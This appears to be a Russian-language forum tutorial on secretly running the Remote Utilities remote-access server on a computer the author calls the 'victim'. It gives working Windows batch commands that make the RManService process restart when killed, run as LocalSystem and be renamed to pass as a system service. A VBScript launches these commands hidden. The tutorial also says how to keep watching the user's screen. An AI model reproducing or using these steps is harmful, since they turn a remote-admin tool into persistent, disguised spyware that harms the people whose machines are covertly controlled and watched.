Данная идея осуществляется исключительно на компьютере "жертвы". Нашей целью будет создание не убиваемого процесса "rutserv.exe".
1.Для того что бы сделать не убиваемый процесс "rutserv.exe" и изменить название службы нужно создать батник с этим кодом
2.Для скрытого запуска нам надо использовать vbs (БАЙСИК!)
3. Чтобы сделать процесс "убиваемым", создайте батник с кодом:
PS
Если юзер закроет rfusclient.exe, то вы не сможете видеть его экран, для запуска этого процесса (точнее процессов), закройте через диспетчер задач на удаленном пк процесс "rutserv.exe", после этого перезапустятся процессы: "rfusclient.exe" (от юзера и системы) и "rutserv.exe" соответственно
1.Для того что бы сделать не убиваемый процесс "rutserv.exe" и изменить название службы нужно создать батник с этим кодом
Код:
sc failure RManService reset= 0 actions= restart/1000/restart/1000/restart/1000
sc config RManService obj= LocalSystem type= interact type= own
sc config RManService DisplayName= "НАЗВАНИЕ СЛУЖБЫ, КОТОРОЕ ВЫ ХОТИТЕ ПРИСВОИТЬ (С КАВЫЧКАМИ ,можно по фану выбрать службу из системных виндовс-а,ток н знаю будут ли конфликты с службами)"
Код:
Dim oShell
Set oShell = WScript.CreateObject ("WSCript.shell")
oShell.run "НАЗВАНИЕ БАТНИКА", 0
Set oShell = Nothing
Код:
sc failure RManService reset= 0 actions= no/1000Если юзер закроет rfusclient.exe, то вы не сможете видеть его экран, для запуска этого процесса (точнее процессов), закройте через диспетчер задач на удаленном пк процесс "rutserv.exe", после этого перезапустятся процессы: "rfusclient.exe" (от юзера и системы) и "rutserv.exe" соответственно